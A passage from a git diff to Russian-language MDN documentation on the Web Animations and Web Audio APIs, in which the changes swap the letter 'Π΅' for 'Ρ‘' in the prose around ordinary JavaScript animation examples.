Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
+<p>Если Π±Ρ‹ оставили Π΅Ρ‘ Π½Π° ΠΏΠ°ΡƒΠ·Π΅ Π² Π½Π°Ρ‡Π°Π»Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ , Ρ‚ΠΎ Алиса ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ»Π°ΡΡŒ Π±Ρ‹ Π² Π΄Π²Π° Ρ€Π°Π·Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ΠΏΠΈΠ»Π° Π±Ρ‹ всю Π±ΡƒΡ‚Ρ‹Π»ΠΊΡƒ. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Ρ‘ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ "воспроизвСдСниС" Π² сСрСдинС, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° ΡƒΠΆΠ΅ Π½Π° ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, установив {{domxref("Animation.currentTime")}} 4 сСкунды, Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre>
-<p>Но Π²ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ сильно ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π Π°Π·Π²Π΅ Π½Π΅ Π»ΡƒΡ‡ΡˆΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ динамичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (currentTime), Ρ‚ΠΎΠ³Π΄Π° Π½Π°ΠΌ Π½Π΅ придСтся Π΄Π΅Π»Π°Ρ‚ΡŒ Π΄Π²Π° обновлСния Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ссылки Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ свойства Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Алисы (aliceChange) {{domxref("Animation.effect")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ всС Π΄Π΅Ρ‚Π°Π»ΠΈ ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ эффСкты, содСрТащиСся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π½Π° Алису:</p>
+<p>Но Π²ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ сильно ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π Π°Π·Π²Π΅ Π½Π΅ Π»ΡƒΡ‡ΡˆΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ динамичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (currentTime), Ρ‚ΠΎΠ³Π΄Π° Π½Π°ΠΌ Π½Π΅ придётся Π΄Π΅Π»Π°Ρ‚ΡŒ Π΄Π²Π° обновлСния Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ссылки Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ свойства Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Алисы (aliceChange) {{domxref("Animation.effect")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ всС Π΄Π΅Ρ‚Π°Π»ΠΈ ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ эффСкты, содСрТащиСся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π½Π° Алису:</p>
<pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre>
-<p>эффСкты ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ keyframe (ΠΊΠ°Π΄Ρ€ΠΎΠ²) ΠΈ синхронности ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² - aliceChange.effect.timing , ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° врСмя Алисиных элСмСнтов (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ {{domxref("AnimationEffectTimingReadOnly")}}) β€” Π² этом содСрТится Π΅Π΅ {{domxref("AnimationEffectTimingReadOnly.duration")}}. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π΅ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π½Π° Π΄Π²Π° Ρ€Π°Π·Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΡ€Π΅Π΄Π½ΡŽΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шкалС для установки Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ роста.</p>
+<p>эффСкты ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ keyframe (ΠΊΠ°Π΄Ρ€ΠΎΠ²) ΠΈ синхронности ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² - aliceChange.effect.timing , ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° врСмя Алисиных элСмСнтов (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ {{domxref("AnimationEffectTimingReadOnly")}}) β€” Π² этом содСрТится Π΅Ρ‘ {{domxref("AnimationEffectTimingReadOnly.duration")}}. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Ρ‘ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π½Π° Π΄Π²Π° Ρ€Π°Π·Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΡ€Π΅Π΄Π½ΡŽΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шкалС для установки Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ роста.</p>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΈ ΠΈΠ³Ρ€Π°Ρ‚ΡŒΡΡ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ Π² любом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ расти ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒΡΡ</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΈ ΠΈΠ³Ρ€Π°Ρ‚ΡŒΡΡ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ Π² любом Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ расти ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒΡΡ</p>
<pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate(
[
@@ -280,7 +280,7 @@ drinking.pause();</pre>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ всС Ρ‚Ρ€ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ связаны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ мСста.</p>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ API, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ Π’Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π˜Π³Ρ€Π° заканчиваСтся, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π±Π΅ΠΆΠΈΡ‚Π΅ ΠΎΡ‚ съСдСнного Ρ‚ΠΎΡ€Ρ‚Π° ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΈΡ‚ΠΎΠΉ Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Алисы. Π‘Ρ‚Π°Π»Π° Π»ΠΈ ΠΎΠ½Π° слишком большой Π½Π° Ρ„ΠΎΠ½Π΅ ΠΊΡ€ΠΎΡˆΠ΅Ρ‡Π½ΠΎΠΉ Π΄Π²Π΅Ρ€ΠΈ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π² Π½Π΅Π΅ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΈΠ»ΠΈ слишком малСнькой ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Π²Π΅Ρ€ΡŒ. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, стала ΠΎΠ½Π° большой ΠΈΠ»ΠΈ малСнький Π² ΠΊΠΎΠ½Ρ†Π΅ Π΅Π΅ анимация, получая Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя Π΅Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code>Β ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΈΠ² Π΅Π΅ Π½Π° activeDuration:</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ API, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ Π’Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π˜Π³Ρ€Π° заканчиваСтся, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π±Π΅ΠΆΠΈΡ‚Π΅ ΠΎΡ‚ съСдСнного Ρ‚ΠΎΡ€Ρ‚Π° ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΈΡ‚ΠΎΠΉ Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Алисы. Π‘Ρ‚Π°Π»Π° Π»ΠΈ ΠΎΠ½Π° слишком большой Π½Π° Ρ„ΠΎΠ½Π΅ ΠΊΡ€ΠΎΡˆΠ΅Ρ‡Π½ΠΎΠΉ Π΄Π²Π΅Ρ€ΠΈ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π² Π½Π΅Ρ‘ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΈΠ»ΠΈ слишком малСнькой ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Π²Π΅Ρ€ΡŒ. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, стала ΠΎΠ½Π° большой ΠΈΠ»ΠΈ малСнький Π² ΠΊΠΎΠ½Ρ†Π΅ Π΅Ρ‘ анимация, получая Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя Π΅Ρ‘ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code>Β ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΈΠ² Π΅Ρ‘ Π½Π° activeDuration:</p>
<pre class="brush: js notranslate">var endGame = function() {
@@ -334,7 +334,7 @@ aliceChange.onfinish = endGame;
</pre>
-<p>Нравится пСрспСктива? Web Animations API Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π°Π΅Ρ‚ Π΄Π²Π΅ пСрспСктивы:Β <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> ΠΈ <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p>
+<p>Нравится пСрспСктива? Web Animations API Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π°Ρ‘Ρ‚ Π΄Π²Π΅ пСрспСктивы:Β <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> ΠΈ <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p>
<div class="note">
<p>Π­Ρ‚ΠΈ обСщания Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html
index ba3df973e4..cb927ca206 100644
--- a/files/ru/web/api/web_audio_api/index.html
+++ b/files/ru/web/api/web_audio_api/index.html
@@ -12,7 +12,7 @@ tags:
translation_of: Web/API/Web_Audio_API
---
<div>
-<p>Web audio APIΒ - ΠΌΠΎΡ‰Π½Ρ‹ΠΉ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ³Ρ€Π°Π½Π½Ρ‹ΠΉ инструмСнт для манипуляции Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ Π½Π° Π²Π΅Π±-страницС, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ источники, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ эффСкты (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ panning), Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
+<p>Web audio APIΒ - ΠΌΠΎΡ‰Π½Ρ‹ΠΉ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ³Ρ€Π°Π½Π½Ρ‹ΠΉ инструмСнт для манипуляции Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ Π½Π° Π²Π΅Π±-страницС, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ источники, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ эффСкты (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ panning), Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
</div>
<h2 id="ΠžΠ±Ρ‰ΠΈΠ΅_ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ_ΠΈ_использованиС_Web_Audio">ΠžΠ±Ρ‰ΠΈΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ использованиС Web Audio</h2>
@@ -52,7 +52,7 @@ translation_of: Web/API/Web_Audio_API
<dl>
<dt>{{domxref("AudioContext")}}</dt>
- <dd>AudioContext прСдставляСт собой Π½Π΅ΠΊΠΈΠΉ Π°ΡƒΠ΄ΠΈΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, сооруТСнный ΠΈΠ· Π°ΡƒΠ΄ΠΈΠΎ ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ связанных вмСстС, Π³Π΄Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ являСтся экзСмпляром класса {{domxref("AudioNode")}}. AudioContext управляСт созданиСм ΡƒΠ·Π»ΠΎΠ², содСрТащихся Π² Π½Ρ‘ΠΌ ΠΈ выполняСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ ΠΈΠ»ΠΈ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β Π°ΡƒΠ΄ΠΈΠΎ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
+ <dd>AudioContext прСдставляСт собой Π½Π΅ΠΊΠΈΠΉ Π°ΡƒΠ΄ΠΈΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, сооруТённый ΠΈΠ· Π°ΡƒΠ΄ΠΈΠΎ ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ связанных вмСстС, Π³Π΄Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ являСтся экзСмпляром класса {{domxref("AudioNode")}}. AudioContext управляСт созданиСм ΡƒΠ·Π»ΠΎΠ², содСрТащихся Π² Π½Ρ‘ΠΌ ΠΈ выполняСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ ΠΈΠ»ΠΈ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β Π°ΡƒΠ΄ΠΈΠΎ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt>{{domxref("AudioNode")}}</dt>
<dd>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ AudioNode прСдставляСт собой Π½Π΅ΠΊΠΈΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉΒ  ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ источник Π°ΡƒΠ΄ΠΈΠΎ Β (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ HTML &lt;audio&gt; ΠΈΠ»ΠΈ &lt;video&gt; элСмСнт), ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Π°ΡƒΠ΄ΠΈΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΌΠΎΠ΄ΡƒΠ»ΡŒ нСпосрСдствСнной ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ BiquadFilterNode ΠΈΠ»ΠΈ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ GainNode).</dd>
<dt>{{domxref("AudioParam")}}</dt>
@@ -87,7 +87,7 @@ translation_of: Web/API/Web_Audio_API
<dt>{{domxref("BiquadFilterNode")}}</dt>
<dd><strong><code>BiquadFilterNode </code></strong><code>прСдставляСт простой Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ порядка. Π­Ρ‚ΠΎΒ </code>{{domxref("AudioNode")}}Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ эквалайзСр ΠΈΠ»ΠΈΒ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.Β <strong><code>BiquadFilterNode</code></strong><code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€ΠΎΠ²Π½ΠΎ ΠΎΠ΄ΠΈΠ½ Π²Ρ…ΠΎΠ΄ ΠΈ ΠΎΠ΄ΠΈΠ½ Π²Ρ‹Ρ…ΠΎΠ΄.</code></dd>
<dt>{{domxref("ConvolverNode")}}</dt>
- <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ свСртку </span><span style="line-height: 1.5;">AudioBuffer, часто примСняСтся для достиТСния эффСкта Ρ€Π΅Π²Π΅Ρ€Π±Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠΌΠΏΡƒΠ»ΡŒΡΠ½ΠΎΠΉ характСристикС.</span></dd>
+ <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ свёртку </span><span style="line-height: 1.5;">AudioBuffer, часто примСняСтся для достиТСния эффСкта Ρ€Π΅Π²Π΅Ρ€Π±Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠΌΠΏΡƒΠ»ΡŒΡΠ½ΠΎΠΉ характСристикС.</span></dd>
<dt>{{domxref("DelayNode")}}</dt>
<dd><strong><code>DelayNode</code></strong><strong> </strong>прСдставляСт собой линию Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ (<a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>); содСрТит {{domxref("AudioNode")}} Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹ΠΌ ΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹ΠΌ сигналом.</dd>
<dt>{{domxref("DynamicsCompressorNode")}}</dt>
diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
index cd2730006c..63e50078b7 100644
--- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
+++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
@@ -27,10 +27,10 @@ analyser.connect(distortion);
distortion.connect(audioCtx.destination);</pre>
<div class="note">
